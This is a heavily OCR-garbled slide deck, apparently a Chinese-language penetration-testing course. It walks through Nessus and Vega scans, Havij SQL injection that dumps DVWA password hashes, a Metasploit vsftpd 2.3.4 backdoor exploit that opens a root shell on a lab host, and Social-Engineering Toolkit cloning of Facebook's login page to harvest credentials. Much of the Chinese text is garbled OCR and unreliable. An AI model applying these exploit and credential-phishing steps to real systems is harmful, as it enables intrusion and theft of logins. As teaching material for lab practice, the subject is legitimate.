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* 33 8L4F 45 (vulnerability scan) £ - B4 Tk # (¢ 7 B
/\'%ngjj\,PPRngEa }%_ﬁflp{%)hl_r?g m“?lH I‘/‘:.'u_u,,
mofrig * na BORL G 33 BE4F 4w F (vulnerability scanner) o

© W RendE BhiF 4w 4o [ ¢
— ¥ % % %(Operation System)
— e xk Rt 4255 (Web application)
— 7 & (Database)
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— OpenVas
— Nessus
— Vega
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 Nessus
— A - RiRH s BRI e iR

— 3 & F 4 F" "R AT R 4o AS i A
— 2005F 1S B B 0 R 4 AB
—~ 2008# ¥ 4% 7 4 % ¢ “Registered Feed” ix
— 30k ig e LREF PR G - BALR D
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e Nessus
 http://www.tenable.com/products/nessus/select-your-operating-
M 'o Download Nessus | Ten: x_

= C M [ www.tenable.com/products/nessus/select-your-oper )« @ ¢z

2, ¢ i -
[ J %{l % 9 4 ‘f;, 32/64 ﬁ : ERES K Facebook [ Security O EREEE (O Linux [ BXES O Web OO S8 O Ne

»  Microsoft Windows

» Mac QS X

* Linux

Debian 6.0 (32 bits):
MNessus-5.2 6-debian6_i386.deb

Debian 6.0 (64 bits):
MNessus-5.2.6-debiant_amd&4.deb

Red Hat ES 4 / CentOS 4:
Nessus-5.2 6-es4.i386.rpm

Red Hat ES & (32 bits) / CentOS 5 / Oracle Linux 5 (including Unbreakable
Enterprise Kernel):
MNessus-5.2 6-255.1386.rpm

Red Hat ES 5 (64 bits) / Cent0OS 5/ Qracle Linux 5 (including Unbreakable
Enterprise Kernel):
MNessus-5.2 6-esb x86_64.rpm

12


http://www.tenable.com/products/nessus/select-your-operating-system
http://www.tenable.com/products/nessus/select-your-operating-system
http://www.tenable.com/products/nessus/select-your-operating-system
http://www.tenable.com/products/nessus/select-your-operating-system
http://www.tenable.com/products/nessus/select-your-operating-system
http://www.tenable.com/products/nessus/select-your-operating-system
http://www.tenable.com/products/nessus/select-your-operating-system
http://www.tenable.com/products/nessus/select-your-operating-system

NARLabs
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* dpkg -1 Nessus-5.2.1-debian6_1386.deb
 [etc/init.d/nessusd start
 https://127.0.0.1:8834/

* root/toor

x
€« C A bps//192.168.1.102:3834/html5.html#/scans PO g % @I C #F RO S HDES =
i mEES [ Facebook [ Securi ity [0 EREE® [ Lnux OO0 BXEE (O web [0 B8t [J Metwork [ Leaming (0 Ebook (I EE (1 ## [CIFB (3 Java » [ ZhEH

Scans Upload
My Scans
No scans have been generated for this account. You can add a scan by clicking the "New Scan” button.
Trash
» All Scans
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F. 27 4 ¥4 m—Nessus

« Z#ENessus W HFEMhomehk FiE
— BAEEROR
http://www.tenable.com/products/nessus-home

— AR E R
https://localhost:8834

{S@ Nessus Home Register for an Activation

Code
Nessus® Home allows you to scan your personal home network (up te 16 IP addresses per scanner) with First Name *
the same high-speed, in-depth assessments and agentless scanning convenience that Nessus
subscribers enjoy.

Please note that Nessus Home does not provide access to support, allow you to perform compliance Last Name *
checks or content audits, or allow you to use the Nessus virtual appliance. If you require support and

these additional features, please purchase a Nessus subscription.

Nessus Home is available for personal use in a home environment only. It is not for use by any Email
commercial organization.
Country” |
Select Country v

) Check to receive updates from Tenable

[J 1 agree to the terms of service
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« Bl#ZEPolicies -> WRBFEKEZEPolicy Wizards -> 1IE A
BAAN S

[/ Nessus rlome /policies x \_| e e et e 0 e
€ 2 C |G beps//127.0.0.1:8834/htmls.htmi#/policies Ui B @A R RS S @GS

it mEEE B Facebook [ Security [ EWE®E (O Linux 0] BXEE O 1337 Forums-Hac.. [] (0 Web (O Network (] Leamning [JEbook (1 EF [J#% (JF8 (Jlava » (0 EHEE B

Policy Wizards

Bash Shellshock Detection PCI Quarterly External Scan
Remote a s for CVE-2014- Ana f erly
62 -7169. exten

M

Basic Network Scan

Credentialed Patch Audit Windows Malware Scan
A full system scan suitable for any host. i s and

Authenticate s and enumerates A polic for malware on
tes. systems.

Cancel
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. BlEScans —> EARMEHE - EHPolicy - MABEE
i ip 73

/9 Nessus Home / Scans /1 x \__ {8 .- s - el sl
<« C A | & bHps://localhost:8834/html5.html#/scans/new ®e| € W B @ by HB’F W, RS G & 1) Cél =
i EERE P Facebook [ Securty [J EEE®EE (O Unux (O B%ES Ll 1337Forums-Hac.. [} (J Web [J Network (] Leaming (] Ebook (] &E (1 #% (JFE (Dlava » (O EZHES

Schedules Policies
Scans
< Scans Basic Settings

Basic Settings
Name WAL

Schedule Settings
Description

Email Settings
Policy Temp -
Folder My Scans -
Targets 192.168.107.140

——— — = —— — e el —
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« {3¥pnessustis B E A PRF R R %RE

Hosts > 140.110.10422 > Vulnerabilities [[E} Hide Details
Severity = Plugin Name Plugin Family Count ~  Host Details

CRITICAL MS03-026: Microsoft RPC Interface Buffe..  Windows 1 Ip: 140.110.104.22
DNS: phe22.sro.nchcorg.tw il

CRITICAL MS03-039: Microsoft RPC Interface Buffe..  Windows 1 MALC: 00:0c:29:f5:b7:b8
os: Microsoft Windows Server 2003

CRITICAL MS04-007: ASN.1 Vulnerability Could All.  Windows 1 Starttime:  Wed Apr2 22:29:50 2014
End time: Wed Apr 2 23:05:12 2014

CRITICAL MS04-011: Security Update for Microsof..  Windaows 1 KE: Download

H

CRITICAL MS06-018: Vulnerability in Microsoft Dist..  Windows 1 -
~  Vulnerabilities
CRITICAL MS06-040: Vulnerability in Server Service..  Windows 1 @ Info
B Low
CRITICAL MS08-067: Microsoft Windows Server S... Windows 1 Medium

@ High
. _ _ \ ® Ciitical
CRITICAL MS09-001: Microsoft Windows SMB Vul... Windows 1 -
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B IXWebSecurity

« OWASP Top 10
— A10-Unvalidated Redirects and Forwards (ZR£&5x 75 A0 &=
T8 o) EA X))
— A9-Using Components with Known Vulnerabilities(f&£ F
2 X mE o)
— A8 — Cross Site Request Forgery (CSRF) (51L& &353K)

— A7 — Missing Function Level Access Control (fR/DIIEEAR
RIRYZ BN )

— A6 — Sensitive Data Exposure (BURKE R R EE)

£ oLAsP

Open Web Application
Security Project
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B IXWebSecurity
— A5 — Security Misconfiguration (F &M Z 2 HRELE)
— A4 —Insecure Direct Object References (RZ WS
Z)

— A3 — Cross-Site Scripting(XSS) (B 4 A2 T K E)

— A2 — Broken Authentication and Session Management
(R AV S e B iE AR B 3E)

— Al —Injection (F A ZE)
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A B 99 R0 IF HE-Vega

- JFE/EIURFAGEECER proxy ((CEEkas - &
Bk M = 12E) B B g A R

« & MNHERVTRAH
— Cross Site Scripting (XSS)

SQL Injection

Directory Traversal

URL Injection

Error Detection black

File Uploads = =L

Sensitive Data Discovery

& VEGA

https://subgraph.com
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A E 55 251R - Vega

Subgraph Vega I-E-I-E-I-u-

Edit Target Scope Ctri+E |
@Website View =0 @ Scan Info = 0O

& S v
> @& www.boc.cn
'@ VEGA
b &
[ [
(D Scan Alerts = 0O

Scan Alert Summary

(]

A |dentities &3 y - O

B % “ Proxy is not running H ‘44[«..-1 of 248M ‘ﬁ
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A E 55 251R - Vega

F .l

File 5can | select a Scan Target

J @ 4~| Choose atarget for new scan 9 VEGA ) Proxy

-Scan Target

@ Enter a base URI for scan:

P & www.b
b & http://192.168.107.140|
(< T—
————— (0 Choose a target scope for scan
G) Scan Aler
Default Scope ~ || Edit Scopes
Web Model
_M Include previouslv discovered paths from Web model ol
3 -0

T < Bac| | Next > || Cancel || Finish |—
B % F 248M (1]
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A E 55 251R - Vega

F .l

File Scan | select Modules

J @ 4~| Choose which scanner modules to enable for this scan 9 VEGA ! Proxy

Select modules to run:

b @ www.t < [=| Injection Modules :
b @ HTTP Trace Probes i
[ Format String Injection Checks
—E'; Cross Domain Policy Auditor
@ scan Aler XML Injection checks

&

Eval Code Injection

O

Blind XPath Injection Checks

&

Blind SQL Text Injection Differential Checks

(]

4l

(<]

XSS lniection checks

- | < Back | Cancel | | Finish | B S
B % F 248M (1]
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F

=K

b & www.t
b &

@ |

o Scan Aler

| Authentication Options

Configure cookies and authentication identity to use
during scan

Identity to scan site as:

VEGA

|

Set-Cookie or Set-Cookie? value:

Add cookie

[ Darmmurn cnl actad canlinfel

‘ < Back ” Mext =

= e

L Proxy

(<]

F 248M o
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Subgraph Vega I—:—l-i-l-:.:-

File Scan Window Help

J B gPrmq.r

@ Website View -0 @ Scan Info - O

® W

} AT A GLANCE
P @ 192.168.107.140

b & www.boc.cn Classification Input Validation Error
Resource [codeexecfexample3.php
i 3 Parameter base
=g Method GET
@ Scan Alerts Risk
o
v @ 11/03/2014 21:32: b REQUEST
v @ http://192.168.1 GET /codeexec/example3.php?
-~ @ High (16) new=hacker&pattern=/lamer/&base="'%20--=">"'=""
~ = Cross Site § ™

—
A | = =
: ““ A2 ldentities &3 X O
J E % @ Proxy is not running H 173M of E#ZM ‘ﬁ
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havij-advanced-sqgl-injection

- BE—MAE8 SQLInjectiontI TH - B BEERY
EﬁSQLInjection A - BRETESEAE - WHAA
o AE M ENRE K EMHEEE K

Target: http://127.0.0.1/dvwa/vulnerabilities/sqli/?id="Inject_Here%&Submit=Submit# | > []]
[7] Kepward:  Auto Detect [F] Syrtax:  Auto Detect | “nelim e
Database: | Auto Detect v|  Metod [GET  +|Tue [Auto Detect
- Load Save
Post Data:
3 7] i L ) S A
About Info Tables Read Files ~ Write File  Crmid Shell Query  Find Admin MD5 Settings
x §] §] il | b . M |
Stap Durnp All Get DBs Get Tables Get Columns  Get Data Save Tables  Save
R | i assword
- [] questbook. o g
B[] users admin S5f4dcc3b5aa765d61d8327deb882cf...
[ user_id gordonb 299218c428ch38d5f260853678922...
E :”St—”a’“e Il | 1337 8d3533d752e2c3966d720d4fcc692...
g lasl_name =
n pablo 0d107d09fsbbe40cade3deSc71e9e...
smithy Sf4dcc3b5aa765d61d8327debsgdf ...

L[] avatar
-[[] information_schema | 4
[ 4li
-] edeal
[ icomla
[ inomls2 -

V| Use Group_Concat [MySAL Only)  [¥] &1 in one request. [ Force to use it Clear list on get

* Status: I'm IDLE [#]Log ClearLag

ITables found: guestbook.users -
[count (column_name) of information_schema.columns where table schema='dwwa' and table_name="use|
iColumns Tound: usar _id,first_name,last_name,user,password,avatar
[count (=) of dvwa.users is 5

Data user ,password=adminAsf4dcc3bsaa765d61d8327debsB82cfa9
Data user ,password=133748d3533d75ae2c3966dT7e0d4fcceoz16h
Data user ,passwurd:gm’donbf\299a1&:423cb33d5f2603536?3922203
Data : user,password=smithyAsf4dcc3bsaaresdeids3zrdebsszcfag
Data : user,password=pabloA0d107d03f5bbe40cade3desc71e3esby

(|

1
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What is Metasploit ?

e 2003/10

e HD Moore

e Perl 2

o 11 27AMEAH

* 2004/4 e 2007/5 e 2011/8
e HD + Spoom e Perl -> Ruby B Meterpreter
o HHTINE o A DIEATEER BOER
o JRHL T 314) BE T EE
[f] ° e 2009/10
e Console Rapid7 Lt
e Web
e Cli
e Black Hat

e Meterpreter
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* service postgresql start
 service metasploit start
- msfupdate

« Msfconsole

« update-rc.d postgresql enable
« update-rc.d metasploit enable

29



NARLabs
What is Metasploit ?

« Module
— Exploits
- BEWESRA=->ERAFZRAWERE -
— Aux
- BRI =>FH - BHEBEH - JEIEEH - DOS -
— Payloads
22EWNERINEFSEZEHREARET  BRERIEZERN
i FAHE -
— Encoders
« NIZEEH=>1FPayloadWIETVETINE DI R HhEES5IR -
— Nops
« IS =>1EMPayloado]&E 4 -
— Post

 Post= Meterpreter+shell =>Eexploit EEE O DUERLCEAR -
AIET—E R LAF -

30
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What is Metasploit ?

« Interface

— Console
 msfconsole

— Cli
« msfcli
— Gui

« msfqgui
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Msfconsole Basics Command

« back * show « search
« check * auxiliary — help
o Info ° exploits — name
* sessions * payloads — path
. set * payloads — platform
* options
— unset — type
« set ©targets — author
9 * advanced ,
¢ use — multiple

Payload: the actual code and /or file sent to victim
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« search foo

« Example:
— msf > search vsftpd

.1:1'1. ,-':.tfl__l 234 backdoor 2011-07-03 00:00:00
ommand Execution
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e info module

« Example:
— info exploit/unix/ftp/vsftpd_234_backdoor

fo exploit/unix/ftp/vsftpd 234 backdoor

avalla

BHOCT
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e use module

« Example:
— msf > use exploit/unix/ftp/vsftpd_234_backdoor
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e« show

maf exploit|

- a u Xi | ia ry Module options (exploit/unix/f

o=

— exploits
— payloads
« payloads

« options
+ targets
« advanced

« Example:
— show options
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 set param
e unset param

« Example:
— set RHOST 192.168.1.1
— unset RHOST
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Msfconsole Basics Command

« back

« Example:
— back




Msfconsole example

NAR

« search vsftpd

l root@kali: ~

File Edit Wiew Search Terminal Help
msf = search vsftpd
Matching Modules
Disclosure Date Rank
olt/unix/ftp/vsftpd 234 backdoor

nd Execution

msf = search vsftpd

_Matchiﬂg Modules

Disclosure Date Rank
ix/ftp/vsftpd 234 backdoor 2011-07-03 excellent
nd ution

Descripticon
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NAR

« use exploit/unix/ftp/vsftpd_234_backdoor

root@kali: ~
File Edit View Search Terminal Help

it/unix/ftp;
r Command

st = use exploit/unix/ftp/vsftpd 23

) = show

Module options (exploit/unix/ftp/vsftpd_234 backdoor):

Name Current Setting Reguired Description

RHOST yes The target address
RPORT 21 yes The target port

Ex F:Zl-l_ olt ta rge T
Id Name

€] Automatic




NAR
Msfconsole example

« set RHOST 192.168.107.140

1IN R AT = U

! root@kali: ~

File Edit View Search Terminal Help

6] Automatic

msf exploit( J = set RHOST 192.168.107.140
_ 92.168.107.140
msf exploit( ) = show options
Module options (exploit/unix/ftp/vsftpd 234 backdoor):
Mame Current Setting Reguired Description
RHOST 192.16
RPORT 21

Ex Fﬂ_ olt ta r';et :

Id MName

] Automatic
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« exploit

! root@kali: ~

File Edit View Search Terminal Help
Name  Current Setting Required

RHOST 192.168.167.140
RPORT 21

E x F:I-l_ (o] l T ta r-g at -
Id MName

€] Automatic

msf exploit( ) = exploit

F[*1 - d 2.3.4)

[*] US 3 sp Fy the ord.

[+] Bac "5 ' Spaw , handling...
[+] ) ' 0

[*]

[*]1 Command shell

) at 2014-11-04 6%
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Metasploit Web

« Metasploit Web
— https://127.0.0.1:3790/

Mon Mar 31, 9:31 PM

Ofworkspaces @@ Qe
i Apps [ Facebook [ Security 0 EAMFERE & Linux & 1EXEE

. Project ¥ Account - root v Administration v 2 nF
@ metasploit
pro

PR D I LEP RN O S
E web @ EHHE & Network [ Learning [ Ebock & EE EiEF &EFs ~ i Other Bookmarks

Home  Projects

‘v/ 3 Projects removed

Quick start Wizards Global Tools
Quick PenTest Phishing Web App Test Vulnerability Payload Segmentation
Ccampaign validation Generator Target Setup =
Seript
Project Listing £ Hide News Panel

Go to Project

Seitings @) New Project A & Product News

New Metasploit 4.9 Helps Evade Anti-Virus Solutions, Test
Network Segmentation, and Increase Productivity for

a Name Hosts Active Sessions Tasks Owner Members Updated , Description Penetration Testers
o cTF 3 0 0 reot (chingshiung) 0 5 days ago
Metasploit 4.9 helps penetration testers evade anti-virus solutions,
O default 4 0 0 system 0 4days ago
generate payloads, test network segmentation, and generally increase
O cittest 1 0 o 100t (chingshiung) 0 8 days ago productivity through updated automation and reporting features. Since
0 o 0 0 0 root (chingshiung) 0 3 days ago version 4.8, Metasploit has added 67 new exploits and 51 auxiliary and
O veshop 1 0 o o0t (chingshiung) 0 3 days ago post-exploitation L
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33 BExTHF &2 1 * —Artmiage

« Artmiage = Metasploit Gui

« Artmiage € - 3 #& =Metasploit® 4L it ehgf et 1 B
¥R F e 4k fsessions

VLR R AR PREFTART T e 2

¥ 4 dEd i3 3 Eventlog

LA * potp B gl (7 IE AR
. Sartmiage
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' ‘] Armitage - Cyber Attack X ‘
€« C M [ www.fastandeasyhacking.com AJIE AL X %4‘ ", e RN (= JE  E
i ZEES [ Facebook (O Security [ ZfeE®R (O Linux (0 BXEE (O Web (O E8t [ Network (] Learning (] Ebook (] &E (1 #% (O F8 (7 Java

CYBER ATTACK MANAGEMENT FOR METASPLOIT

1150 .

© 2010-2014 Strategic Cyber LLC Connect Twitter | Facebook | Linkedin | IRC | Blog | YouTube

http://www.fastandeasyhacking.com/
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NAR

Armitage

Armitage Wiew WebEEN Attacks Workspaces Help

» (&5 auxiliary
» ([ exploit
» [ payload
> & post

-

Console X

Import Hosts
Add Hosts..,

Mmap 5can
MSF Scans...
DMNS Enumerate

Clear Database
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NAR

Armitage Wiew Hosts Afttacks Workspaces Help

» (&5 auxiliary
» [ exploit
» (&5 payload
> [ﬁ‘ post

-

Console X

Add Hosts
Enter one host/line:

192.168.107.140|
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Armitage

Armitage Eiewgttacks Workspaces Help

» [ auxiliary | Impert Hosts

[ ﬁ' e}{p|0it Edd Hosts...
" ﬁ payload Nmap Scan Intense Scan
» [ post MSF Scans...

Intense Scan + UDP
Intense Scan, all TCP ports
Clear Database Intense Scan, no ping
i m e B Fing Scan
' ' Quick Scan
Quick Scan (05 detect)

Comprehensive

DMNS Enumerate

Console X
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Armitage

Armitage Wiew Hosts PEREMEN Workspaces Help

» [ auxiliary I Find Attacks
» (&5 exploit Hall ary

> [ payload

= [ﬁ‘ post

P

Console X | nmap X}

—_—— =
[*1 Nmap: MAC Address: 00:50:56:26:5F:86 (VMware)

[*] Mmap: Device type: general purpose

[*]1 Mmap: Running: Linux 2.6.X

[*] Mmap: 0S CPE: cpe: fo:Linux:linux_kernel:2.6

[*] Mmap: 0S details: Lipux 2.6.9 - 2.6.33

[*] Mmap: Network Distance: 1 hop

[*] Mmap: Service Info: Host: metasploitable,localdomain; 0Ss: Unix, Linux; CPE:
cpe:fo:Linux: Linux_kernel

N O

[*] Nmap: 0S5 and Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .

[*] Mmap: Mmap done: 1 IP address (1 host up) scanned in 14.34 seconds

msf >
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Artmiage

Armitage

Armitage Wiew Hosts Afttacks Workspaces Help

» (&5 auxiliary

» [ exploit

» (&5 payload g
> [ﬁ‘ post

>
Login . proftp_arepla;e
________ Services otares . proftp_telnet_iac
Scan postd proftpd_133c_backdoor
— realserver - pureftpd_bash_env_exec
e =it > vsftpd 234 backdoor
i L wuftpd_site_exec_format
ssh [ o o
telnet p | Eheckexp oits...
- weba [
_[ Console_x |yumaneiy P
= wyse [

e e =1 e

= e = S S
[*] Mmap: MAC Address: 00:50:56:20:5F:86 (VMware)
[*] Nmap: Device type: general purpose

[*]1 Nmap: Running: Linux 2.6.X

[*] Nmap: 0S CPE: cpe:fo:Linux:Llinux kernel:2.6
[*] MNmap: 0S details: Linux 2.6.9 - 2.6

[*] Nmap: Network Distance: 1 hop

[*] Mmap: Service Info: Host: metasploitable,localdomain; 0Ss: Unix, Linux; CPE:
cpe: fo:Linux: Linux_kernel

[*] Mmap: 0S and Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .

[*] Mmap: Mmap done: 1 IP address (1 host up) scanned in 14.34 seconds

msf =
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Armitage Wiew Hosts Afttacks Workspaces Help

» (&5 auxiliary

» [ exploit

> [ payload Attack 192.168.107.140

> [ﬁ‘ post
WSFTPD w2.3.4 Backdoor Command Execution
This module exploits a malicious backdoor that was added to the WSFTPD download 2
archive. This backdoor was introduced into the vsftpd-2.3. 4.tar. gz archive between June [
30th 2011 and lulv 1st 2011 according to the most recent information available, This b/
Option 4 | Value
LHOST 192,168,107.130
LFORT 13962
RHOST <+ 192.168,107.140

= RFORT 21
Console X |1

i+i Targets: |0 == Automatic _vJ
" -

{‘} || Use areverse connection

[*1 [ | show advanced options

[*] 0s

[*1 Ne

[*] Se S—

cpe: fo:Linux: Linux_kernel

[*] Mmap: 0S and Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .

[*] Mmap: Mmap done: 1 IP address (1 host up) scanned in 14.34 seconds

msf =
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Armitage
Armitage Wiew Hosts Attacks Workspaces Help
» (&5 auxiliary
» (&5 exploit
» [ payload
L [ﬁ‘ post

P

[ Console X T nmap X T exploit X]

e Ly A

msT exploit(
TARGET == 0
msf exploit( ) = exploit -j
[*]1 Exploit running as background job.

[*] Banner: 220 (vsFTPd 2.3.4)

[*]1 USER: 331 Please specify the password.

) = set TARGET 0

[+] Backdoor service has been spawned, handling...

[+] UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 1 opened (192.168.107.130:44984 -> 192, 168.107.140:6200) at 2014-11-03
22:25:08 -0500

msf exploit(
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Social-Engineering Toolkit

o # setoolkit

Terminal

File Edit View Search Terminal Help
The one stop shop for all of your SE nee

Join us on irc.freenode.net in channel

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com

Select from the menu:

1)

)

Return back to the main menu.
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root@kali: ~

File Edit View Search Terminal Help

Join us on irc.freenode.net in c
The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com

I Select from the menu:

Exit the Social-Engineer Toolkit
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root@kali: ~

File Edit View Search Terminal Help
The TabNabbing method will wait for a user to move to a different tab, then refr
esh the page to some

Th Thu mali
onfig if its

The ' ;
menud . Fo np e Cé _' L the Java A et , ar, C r'liﬂ'i'—'r'l‘l'l

Beturn to Main Menu
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root@kali: ~

File Edit View Search Terminal Help
7

7) Full Screen Attack Method

99)

Return to Main Menu

The first method will allow S

ad

ET to import a list of pre-defined web
applications that it can utilize within the attack

IRERS ' omp : nsite of your c
and all ' =W thin the co

note that you
ite

Return
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root@kali: ~

File Edit WView Search Terminal Tabs Help

' root@kali: ~ | root@kali: =
same web application you were attempting to clone.
The third method allows you to import your own website ote that you

should only have an in html when using the imp
functionality.

1)
2 '|

3) 'uJTnm Impnrf

99) Return to Webattack Menu # IfCOﬂfIg

[-]1 Credential harvester will allow you to utilize the clone capabilities within
SET

[-]1 to harvest credentials or panameters from a website as well as place them in
to a report

[-1 Th ion is used f what IP t i1l POST to.

[-1 If vou're using an ' =

130
[-]1 SET supports both HTTP and HTTPS
E[-]1 Example: htt .thisisafa

. = E
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root@kali: ~
File Edit WView Search Terminal Tabs Help

' root@kali: ~ | root@kali: ~
1306
[-1 SET supports both HTTP and HTTRES

[-]1 Example: http:// www.thisisafakesite.com
: = Enter the url to clone:http:/ www.facebook.com

Cloning the website: https://login.facebook.com/lLogin.php
This could take a 1little bit...

ipa'h@ is set to OM - everything will be placed in your web root directory

be written out to the root directory of apache.
2 within your Apache directory since you specified it to ON.
f t@ not running, do vyou want SET to start the process? |[[yvsn]: vy
_t1|tln1 web server: apacheapacheZ|: Jould mnot \reliably determline The ser
fully gualified domain pame,using 127011001\ fon Earverhamea

Apache webserver is set to OM. Copying over PHF file to the website.
Please note that all output from the harvester will be found under apache dir/ha

rvester date.txt
Feel free to customize post.php in the Svar/www directory

E[*] ALl files have been copied to /Svar/www :
{Press return to continue}
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Username / Password

e /var/www

root@kali: fvarfwww

File Edit View Search Terminal Tabs Help

root@kali: ~ | root@kali: fvarfwww




